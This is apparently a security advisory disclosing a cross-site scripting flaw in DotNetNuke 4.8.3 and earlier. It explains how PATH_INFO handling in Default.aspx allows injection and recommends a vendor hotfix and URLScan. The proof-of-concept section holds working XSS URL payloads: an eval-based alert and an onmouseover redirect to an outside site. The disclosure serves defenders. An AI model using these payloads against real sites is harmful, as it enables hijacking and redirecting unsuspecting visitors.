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# # AmnPardaz Security Research Team # # Title: Dot Net Nuke (DNN) XSS Vulnerability. # Vendor: www.dotnetnuke.com # Vulnerable Version: 4.8.3 and prior versions # Exploit: N/A # Impact: Low # Fix: N/A # Original Advisory: http://bugreport.ir/index.php?/38 ################################################################################### #################### 1. Description: #################### DotNetNuke is an open source web application framework ideal for creating, deploying and managing interactive web, intranet and extranet sites. #################### 2. Vulnerability: #################### XSS in "Default.aspx", by using "/" after the ".aspx" file. We must use another ".aspx" string, before "?" or at end of the URL. In fact, "PATH_INFO" in ServerVariables can manipulate by an attacker by entering "/" after the ".aspx" files. So, using "URL" is better than "PATH_INFO". #################### 3. PoC: #################### - Alert by XSS http://[DNN URL]/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx - Redirect by XSS (We must use a "?" because of using ":" in "HTTP://") http://[DNN URL]/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive'; #################### 4. Solution: #################### Check the vendor hotfix and use URLScan (http://www.microsoft.com/technet/security/tools/urlscan.mspx). #################### 5. Credit : #################### AmnPardaz Security Research & Penetration Testing Group Contact: admin[4t}bugreport{d0t]ir WwW.BugReport.ir WwW.AmnPardaz.com
